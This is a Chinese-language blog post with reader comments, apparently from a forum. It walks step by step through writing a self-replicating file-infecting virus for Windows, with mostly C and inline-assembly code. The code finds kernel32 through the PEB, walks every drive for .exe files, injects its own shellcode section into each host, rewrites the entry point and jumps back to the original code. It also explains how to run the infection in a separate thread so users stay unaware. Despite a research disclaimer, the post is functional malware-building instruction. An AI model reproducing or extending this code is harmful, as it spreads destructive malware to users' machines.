发到土司顺手发出来,应该没事吧
前言 2020-04-20
其实最开始学计算机的念头,就是想打造一份,类似熊猫烧香一样的蠕虫。在12岁时候的我的眼里,能自我复制,感染,传播。简直就仿佛是拥有了生命一般,而最令我向往的,是自己创造了这类似生命一般的东西,这份想法诱导了我学编程的路。可以说今天这些水平和这个想法完全脱离不了干系。
虽说现在早就弄懂原理,但是还是没有真正的自己 写过一次。前几年也写过,但是那只是用易语言造的拙劣的小玩具。
于是乎,现在,我们开始动手,一步一步手动的,打造属于我们自己的,“病毒吧”
原理
照旧,简明概述原理。
直接手动构造一份shellcode,这份shellcode就是我们的病原,存在我们初始程序中,这份shellcode的功能就是,自动提取当前程序PE数据段.biev的数据,然后遍历全盘exe,检测PE头信息如果没有被感染就新建PE段把提取出来的数据载入进去之后加一个然后再运行原来的宿主程序。
以上我们只的打造了病原,然年后我们在把这个shellcode手动从程序中提取出来,注射到别的程序的.biev(手动构造)的段中,这份病毒才是正确运行起来,原理就这么多,那么我们话不多说,开写吧。
开始
因为是shellcode,首先就是找ker32的基质。有很多种办法,我们的话就随便选一个办法,直接搜索SEH链表找吧。原理就不概述了,直接百度吧。链接我也懒得放了,过于基础。
直接SEH实现也有两个办法,其中最简单的就是内联汇编。
PVOID ADDR = NULL;
__asm {
mov eax, fs:0x30; PEB的地址
mov eax, [eax + 0x0c]; Ldr的地址
//mov esi, [eax + 0x1c]; Flink地址
mov esi, [eax + 14h]
lodsd
mov eax, [eax]
mov eax, [eax + 10h]; eax就是kernel32.dll的地址
mov ADDR, eax
}
但是这样鬼知道啊,为了秉着教学的原则。我们把结构体和代码段全部用C的形式表现出来吧
首先是需要几个结构体
typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, *PUNICODE_STRING;
typedef struct _PEB_LDR_DATA
{
DWORD Length;
UCHAR Initialized;
PVOID SsHandle;
LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
PVOID EntryInProgress;
}PEB_LDR_DATA, *PPEB_LDR_DATA;
typedef struct _LDR_DATA_TABLE_ENTRY
{
LIST_ENTRY InLoadOrderLinks;
LIST_ENTRY InMemoryOrderLinks;
LIST_ENTRY InInitializationOrderLinks;
PVOID DllBase;
PVOID EntryPoint;
DWORD SizeOfImage;
UNICODE_STRING FullDllName;
UNICODE_STRING BaseDllName;
DWORD Flags;
WORD LoadCount;
WORD TlsIndex;
LIST_ENTRY HashLinks;
PVOID SectionPointer;
DWORD CheckSum;
DWORD TimeDateStamp;
PVOID LoadedImports;
PVOID EntryPointActivationContext;
PVOID PatchInformation;
}LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;
typedef struct _PEB
{
UCHAR InheritedAddressSpace;
UCHAR ReadImageFileExecOptions;
UCHAR BeingDebugged;
UCHAR SpareBool;
PVOID Mutant;
PVOID ImageBaseAddress;
PPEB_LDR_DATA Ldr;
//......
}PEB, *PPEB;
然后是核心
PLDR_DATA_TABLE_ENTRY pLdrDataEntry = NULL;
PLIST_ENTRY pListEntryStart = NULL, pListEntryEnd = NULL;
PPEB_LDR_DATA pPebLdrData = NULL;
PPEB pPeb = NULL;
PDWORD pKernelAddr = NULL;
__asm
{
//1、通过fs:[30h]获取当前进程的_PEB结构
mov eax, dword ptr fs : [30h];
mov pPeb, eax
}
//2、通过_PEB的Ldr成员获取_PEB_LDR_DATA结构
pPebLdrData = pPeb->Ldr;
//3、通过_PEB_LDR_DATA的InMemoryOrderModuleList成员获取_LIST_ENTRY结构
pListEntryStart = pListEntryEnd = pPebLdrData->InMemoryOrderModuleList.Flink;
//查找所有已载入到内存中的模块
int i = 0;
do
{
//4、通过_LIST_ENTRY的Flink成员获取_LDR_DATA_TABLE_ENTRY结构
pLdrDataEntry = (PLDR_DATA_TABLE_ENTRY)CONTAINING_RECORD(pListEntryStart, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);
//5、输出_LDR_DATA_TABLE_ENTRY的BaseDllName或FullDllName成员信息
printf("%S %x %d\n", pLdrDataEntry->BaseDllName.Buffer,pLdrDataEntry->DllBase,i);
if (i == 2) {// 一般第三个就是kernel地址
//保存
pKernelAddr = pLdrDataEntry->DllBase;
break;
}
pListEntryStart = pListEntryStart->Flink;
i++;
} while (pListEntryStart != pListEntryEnd);
if (pKernelAddr == NULL)return;//获取失败了
PDWORD _addr = NULL;
PCHAR _funcname = NULL;
DWORD _base_addr = pKernelAddr;
PIMAGE_DOS_HEADER pdh = (PIMAGE_DOS_HEADER)_base_addr;
PIMAGE_NT_HEADERS pnt = (PIMAGE_NT_HEADERS)(_base_addr + pdh->e_lfanew);
PIMAGE_EXPORT_DIRECTORY pexports = (PIMAGE_EXPORT_DIRECTORY)(_base_addr +
pnt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
PDWORD _Functions = (PDWORD)(_base_addr + pexports->AddressOfFunctions);
PDWORD _Name = (PDWORD)(_base_addr + pexports->AddressOfNames);
PWORD _NameOrdinals = (PWORD)(_base_addr + pexports->AddressOfNameOrdinals);
for (DWORD i = 0; i < pexports->NumberOfNames; i++) {
//if (_hash_calc(_base_addr + _Name[i]) == _hash_calc(<FunctionName>)) {
_addr = _base_addr + _Functions[_NameOrdinals[i]];
_funcname = _base_addr + _Name[i];
//printf("%s----%x\n", _funcname, _addr);
int j = 0;
int status = TRUE;//超不优雅的状态机
char *cmp2 = "GetProcAddress";
char *cmp1 = "LoadLibraryA";
char *cmp3 = "GetLogicalDrives";
/*
char *cmp4 = "HeapAlloc";
char *cmp5 = "GetProcessHeap";
char *cmp6 = "HeapFree";
char *cmp7 = "FindFirstFile";
char *cmp8 = "FindNextFile";
*/
// 这个查找太TMD蠢了
while (_funcname[j] != '\0' || cmp1[j] !='\0') {
if (_funcname[j] != cmp1[j]) {
status = FALSE;
break;
}
j++;
}
if (_funcname[j] == cmp1[j] && status) {
pLoadLibrary = _addr;
}
// 归零进行下一个函数查找
status = TRUE;
j = 0;
while (_funcname[j] != '\0' || cmp2[j] != '\0') {
if (_funcname[j] != cmp2[j]) {
status = FALSE;
break;
}
j++;
}
if (_funcname[j] == cmp2[j] && status) {
pGetProcAddress = _addr;
}
// 同上
status = TRUE;
j = 0;
while (_funcname[j] != '\0' || cmp3[j] != '\0') {
if (_funcname[j] != cmp3[j]) {
status = FALSE;
break;
}
j++;
}
if (_funcname[j] == cmp3[j] && status) {
pGetLogicalDrives = _addr;
}
}
printf("%x %x \n", pGetProcAddress, pLoadLibrary);
pLoadLibrary_ Loadlibrary_ = pLoadLibrary;
pGetProcAddress_ GetProcAddress_ = pGetProcAddress;
按照上面的代码,就是用来搜索kernel32的地址和一些其他函数的地址。
这样看来汇编的偏移就懂了,那些所谓的偏移其实就是用来指向结构体的。只不过汇编中省略了结构体的定义而我们代码中表现了出来,但是代码中表现出来的最后也会转换为最上面那样简洁的汇编代码
其中
status = TRUE;
j = 0;
while (_funcname[j] != '\0' || cmp2[j] != '\0') {
if (_funcname[j] != cmp2[j]) {
status = FALSE;
break;
}
j++;
}
这种东西算是因为无法使用库函数strcmp
而导致的,想使用函数只能使用 WINAPI或者C的内置操作符类似sizeof这种,其他都无法使用。
从上面这样子,我们就很容易的从kernel32
中提取LoadLibrary
和GetProcAddress
的地址,有了这两个地址,我们就能调用API辣
调用API的话,我们就可以遍历全盘文件了,遍历全盘用的是FindFirstFile
,FindNextFile
,pGetLogicalDrives_
这几个,首先是遍历路径
WIN32_FIND_DATA fd_d,fd_f;//为了省去再去比较文件扩展名,所以设置一个查找目录一个查找可执行文件
char *Full = "\\*.*";
char *Exe = "*.exe";
char *Driver = "E:\\";
char PATH[MAX_PATH],PATH_[MAX_PATH];//一个用于给FindFirstFile作为查找,一个用于子目录拼接
// strcat
int i=0,j=0,k = 0;
while (Driver[i] != '\0')
{
PATH[i] = Driver[i];
i++;
}
PATH[i] = '\0';
while (PATH[k] != '\0')// strcmp(PATH,PATH_)
{
PATH_[k] = PATH[k];
k++;
}
PATH_[k] = '\0';
while (Full[j] != '\0') { // PATH = Drivere (C:\\)+ *.*
PATH[i + j] = Full[j];
j++;
}
PATH[i + j] = '\0';
//strcpy(PATH, Driver);
//strcpy(PATH_, PATH);
//strcat(PATH, Full);
HANDLE hFind;
struct Node_Fd { PVOID Last ; HANDLE h; char PATH[MAX_PATH]; };
// 把这个当成一个栈就行,和递归原理差不多
// Last指向上一个Node
// h保存上一次Find的Handle,用于遍历那个操作下下一个文件夹
// PATH用户保存当前路径,为了拼接
struct Node_Fd Instance;
struct Node_Fd * sp;// sp啊,寄存器里的那个.jpg
Instance.Last = NULL;
Instance.h = NULL;
//strcpy(Instance.PATH, PATH_);
i = 0;
while (PATH_[i] != '\0')
{
Instance.PATH[i] = PATH_[i];
i++;
}
Instance.PATH[i] = '\0';
sp = &Instance;
loop:
hFind= FindFirstFile(PATH, &fd_d); // 开始从任意位置查找
if (hFind != INVALID_HANDLE_VALUE) // 注意FindFirstFile的返回值是HANDLE
{
sp->h = hFind;
do
{
if (fd_d.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
{
if (!strcmp(fd_d.cFileName, ".") || !strcmp(fd_d.cFileName, "..")) {continue;}
printf("PATH:%s PATH_:%s\n ", PATH,PATH_);
printf("[D]%s\\%s\n", PATH_,fd_d.cFileName);
/*
strcpy(PATH, PATH_);
strcat(PATH, "\\");
strcat(PATH, fd_d.cFileName);
strcat(PATH_, "\\");
strcat(PATH_, fd_d.cFileName);
strcat(PATH, Full);
*/
int i=0,j = 0;
while (PATH_[j] != '\0') { // PATH = PATH_
PATH[j] == PATH_[j];
j++;
}
PATH_[j] = '\\';//PATH_ = PATH_ + //
PATH[j] = '\\'; // PATH = PATH + //
j++;
while (fd_d.cFileName[i] != '\0') { //PATH = PATH + fd_d.cFileName
PATH[j + i] = fd_d.cFileName[i];
PATH_[j + i] = fd_d.cFileName[i];
i++;
}
PATH_[j + i] = '\0';
i = i + j;
j = 0;
while (Full[j] !='\0')// PATH = PATH + Full
{
PATH[i + j] = Full[j];
j++;
}
PATH[j + i] = '\0';
PBYTE pData = (PBYTE)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(struct Node_Fd));
struct Node_Fd * new_sp = pData;
//struct Node_Fd * new_sp = malloc(sizeof(struct Node_Fd));//递归入栈
new_sp->Last = sp;
//strcpy(new_sp->PATH, PATH_);
i = 0;
while (PATH_[i] != '\0')// new_sp->PATH = PATH_
{
new_sp->PATH[i] = PATH_[i];
i++;
}
new_sp->PATH[i] = '\0';
sp = new_sp;
goto loop;//如果还有下级目录就出栈
}
loop2:
__asm {
nop;
}
} while (FindNextFile(hFind, &fd_d)); // 继续查找,注意FindNextFile返回值是BOOL
}
if (sp->Last != NULL) {//当前目录搜索完了,检查是否还有上一层
struct Node_Fd * free_sp = sp;
FindClose(hFind);
sp = sp->Last;
hFind = sp->h;
strcpy(PATH_, sp->PATH);
HeapFree(GetProcessHeap(), 0, free_sp);
//free(free_sp);
goto loop2;
}
FindClose(hFind);
其中 struct Node_Fd { PVOID Last ; HANDLE h; char PATH[MAX_PATH]; };
是手动构造的一个栈,因为不能调用函数,所以就这么写了,看代码可能有点难理解,但是实际上是个很简单的东西。
这样我们就能遍历路径了,接下来是遍历盘符
pGetLogicalDrives_ GetLogicalDrives_ = pGetLogicalDrives;
DWORD dwDisk = GetLogicalDrives_();
int dwMask = 1;
int step = 1;
dwMask << 1;
char disks[9] = { '\0','\0','\0','\0','\0','\0','\0','\0','\0' };
while (step < 32)
{
++step;
switch (dwMask&dwDisk)
{
case 1:
disks[0] = "A";
break;
case 2:
disks[1] = "B";
break;
case 4:
disks[2] = "C";
break;
case 8:
disks[3] = "D";
break;
case 32:
disks[4] = "E";
break;
case 64:
disks[5] = "F";
break;
case 128:
disks[6] = "G";
break;
case 256:
disks[7] = "H";
break;
default:
break;
}
dwMask = dwMask << 1;
}
for (int i = 0; i < 9; i++) {
if (disks[i] != '\0') {
// 未完待续
}
}
因为不能用函数调用,所以我定义了个盘符数组,用API判断完是否有这个盘符后,就放置在数组中等待便利,这样我们程序运行的时候,判断这个数组是否为0
如果不是那么就替换到遍历的路径中,然后跑一遍目录遍历,然后遍历下一个盘符数组,这样就达到了全盘感染的目的了。
总之到这里我就咕咕咕了,未完待续,什么时候有心情再天坑吧
继续 2020/5/26
以上,已经实现了枚举全盘exe路径,接下来我们就需要核心的感染部分,这部分其实百度有很多的,随便找个参考一下就行,我是 参考的是以下这份
稍微按照上面修改一下就能用。
按照上面那个链接,我们可以在PE文件中插入自己的代码了,那么问题来了。
我们的payload怎么来呢?
很简单,我们只需要从目前自身程序的指定段提取出来就行了,代码如下
char *buff;
// 读取自身的payload
HANDLE hFile = CreateFile(
szpath,//当前文件的路径,打开自己
GENERIC_READ,
0,
NULL,
OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
//获取文件大小
DWORD dwFileSize = GetFileSize(hFile, NULL);
// CHAR *pFileBuf = new CHAR[dwFileSize];
char *pFileBuf = (char *)malloc(dwFileSize);
//将文件读取到内存
DWORD ReadSize = 0;
ReadFile(hFile, pFileBuf, dwFileSize, &ReadSize, NULL);
PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)pFileBuf;
if (pDosHeader->e_magic != IMAGE_DOS_SIGNATURE)
{
// 不是PE
continue;
}
PIMAGE_NT_HEADERS pNtHeader = (PIMAGE_NT_HEADERS)(pFileBuf + pDosHeader->e_lfanew);
if (pNtHeader->Signature != IMAGE_NT_SIGNATURE)
{
//不是PE文件
continue;
}
PIMAGE_FILE_HEADER pFileHeader = &(pNtHeader->FileHeader);
PIMAGE_OPTIONAL_HEADER pOptionalHeader = &(pNtHeader->OptionalHeader);
PIMAGE_DATA_DIRECTORY pDataDirectory = pOptionalHeader->DataDirectory;
PIMAGE_SECTION_HEADER pSectionHeader = IMAGE_FIRST_SECTION(pNtHeader);
DWORD dwSectionNum = pFileHeader->NumberOfSections;
for (DWORD i = 0; i < dwSectionNum; i++, pSectionHeader++)
{
char *name = (char *)malloc(IMAGE_SIZEOF_SHORT_NAME + 1);
memset(name, 0, IMAGE_SIZEOF_SHORT_NAME + 1);
for (DWORD j = 0; j < IMAGE_SIZEOF_SHORT_NAME; j++)
{
name[j] = pSectionHeader->Name[j];
}
if (!strcmp(name, ".newSec")) {
memcpy(buff, pFileBuf + pSectionHeader->PointerToRawData, pSectionHeader->SizeOfRawData);
buff = (char *)malloc(pSectionHeader->SizeOfRawData);
}
free(name);
}
能添加和写入payload了,接下来就是,如何执行我们的payload,毕竟目前只是写进去,还并没有执行。
最简单的办法就是直接修改OEP为我们的新区段就行
所以我们修改文件在
里修改一下源文件的OEP:
pOH->AddressOfEntryPoint = secToAdd.VirtualAddress;
添加这一行就行
很好,我们payload和插入的方法都有了,并且能执行我们的代码了,接下来还需要解决一个问题,就是,运行完我们插入的代码,还需要跳回正常的代码才行。
最最最简单的办法,就是直接在尾部添加一个jmp,然后跳回OEP,jmp的跳转是计算偏移,怎么计算呢?我们做个实验
其中0000AE00是真实在文件力的位置
假设我们原来OEP是11073,新区段地址是20000。
直接11073-20000-5,其中5是jmp指令+32位寻址的长度,取32位数,也就是FFFF106E(这是补码)
然后按照低到高的顺序,手动用c32修改试试。
跳到0000AE00,
好,成功运行。
换成C代码后,就是
DWORD JMPTR = dwOEP - secToAdd.VirtualAddress - 0x5;
这里注意一下,原版的dwOEP代码是加上内存ImageBase的,我们为了计算,同时为了64位跳转(64位是没有ImageBase这个成员的,我们需要把原版代码的那行给注释掉
DWORD dwOEP = pOH->AddressOfEntryPoint; // 程序执行入口地址VA
// dwOEP = (DWORD)(pOH->ImageBase + dwOEP); <- 注释掉这行
有了跳转的地址,我们就要想办法写入到payload里,毕竟我们payload是硬编码的,那么如何写入呢?办法就是先转换成char[]。
char *lpBuf = (char*)malloc(secToAdd.SizeOfRawData);
lpBuf[3] = (JMPTR & 0xFF000000) >> 24;
lpBuf[2] = (JMPTR & 0x00FF0000) >> 16;
lpBuf[1] = (JMPTR & 0x0000FF00) >> 8;
lpBuf[0] = (JMPTR & 0x000000FF);
因为地址是小端存储,所以我们得注意数组的顺序,然后用位运算就能把DWORD类型转换为32位4自己的的BYTE了。
接下来一个问题就是如何找到我们需要写入的位置,我这里用的是锚点定位法。搜索payload搜索到特殊的flag,就在flag之后偏移的位置写入地址
首先我们先构建锚点
// 用于定位
char anchor[15] = {(char)47,(char)48 ,(char)49,(char)50,(char)51,(char)204,(char)204,(char)204,(char)204,(char)204,(char)51,(char)50,(char)49,(char)48,(char)47};
DWORD jmpOEP;
jmpOEP = anchor[5] | anchor[6] << 8 | anchor[7] << 16 | anchor[8] << 24;
__asm {
mov eax, jmpOEP;
jmp jmpOEP;
}
之后 就是搜索我们的锚点然后替换jmp地址
char signs[5] = { (char)47,(char)48 ,(char)49,(char)50,(char)51 };
// 手动实现KMP
int isFind = 0;
int i=0;
int s = 0;
do {
for (int j = 0; j < 5; j++) {
if (i + 5 > (int)pSectionHeader->SizeOfRawData) {
break;
}
if (buff[i] == signs[j]) {
s++;
}
else {
i += s;
s = 0;
}
if (s == 5) {
//找到了
isFind = 1;
break;
}
}
} while (i>(int)pSectionHeader->SizeOfRawData);
if (isFind == 0) { continue; }
buff[i + 1] = lpBuf[0];
buff[i + 2] = lpBuf[1];
buff[i + 3] = lpBuf[2];
buff[i + 4] = lpBuf[3];
至此,如果你仅仅只是要全盘感染的话,那么以上部分已经全部完成了。
虽然说是这么说,然而还是缺少最后比较重要的一步,也是很容易犯下的大坑。
我们代码中,大量运用到了字符串,例如 char* value = "xxxxxx";
这样子的内容,会导致把字符串放到只读数据data段,和shellcode相距十万八千里。。。也不至于,但是确实不在代码段中,这样会让我们提取十分的不方便,这时候,我们就需要把代码中的这些字符串,全部换成
value[0]='x';
value[1]='x';
....;
之后在对本地申明的 buff区一个个挪过去。
这样的形式,把字符串变成立即数的形式保存在代码段中方便我们提取
把上面那些函数替换成通过我们最开始loadlibrary获取的API之后,提取出来,然后手动构造一个section放置到其他程序里然后运行,理论上就能全盘感染了。
如果只是要验证全盘感染的话,那么可以到此为止了,后面的就没必要看了
如果真的要实际运用的话,其实还缺少最后的一步,也是最关键的一步。
那就是,程序本身是单线程运行的,如果你直接这么感染后,别人每次打开程序,都会先执行一次全盘感染,才执行到后面的正常部分,这一过程也许会花很长的时间,那么基本就等于破坏了远程序,破坏了我们的本意,全盘感染就是要在用户能正常执行的情况下正常的感染,而不是破坏源程序体验(如果真的这样为啥不直接把所有exe都替换成我们的病毒对不对?直接覆盖就行了并不这么麻烦)
那么如何解决呢?也很简单。
一个CreateThread就搞定,但是同时也很麻烦。
原理基本就是,把目前这段先编译成shellcode,然后再创建个新程序,添加到新程序的数据段中。
最后新程序再次作为shellcode,其中shellcode的功能就是查找这份数据段和原始代码的入口点,之后分别CreateThread过去。
这样运行的时候,就是两个线程同时运行啦。
好的,你已经理解了自己编写感染的基础的手法,快去试试吧。
后记
本文一切出于于研究目的编写,本文的代码均为概念项目,难以用作与实际破坏,一切法律后果由制作者自行承担。
因为是第一次写这种代码,所以代码写的很脏很乱,请大家见谅。文中的代码肯定有更好的实现方式,欢迎大家指出。
当然还有一种更简单的解决方法就是直接全盘修改IAT表然后把DLL放置于环境变量下,这样在某种意义上也可以是全盘感染,而且操作起来更简单,然而缺点就是必须到处放置dll以及传播能力略微下降。
技术大佬max~
太强了,是学长什么的吗?^^
是啊,卧槽咋找到这里的_(:з)∠)_
跪了跪了,之前也就玩玩,没想到有人自己做了出来
看都看不懂,大佬nb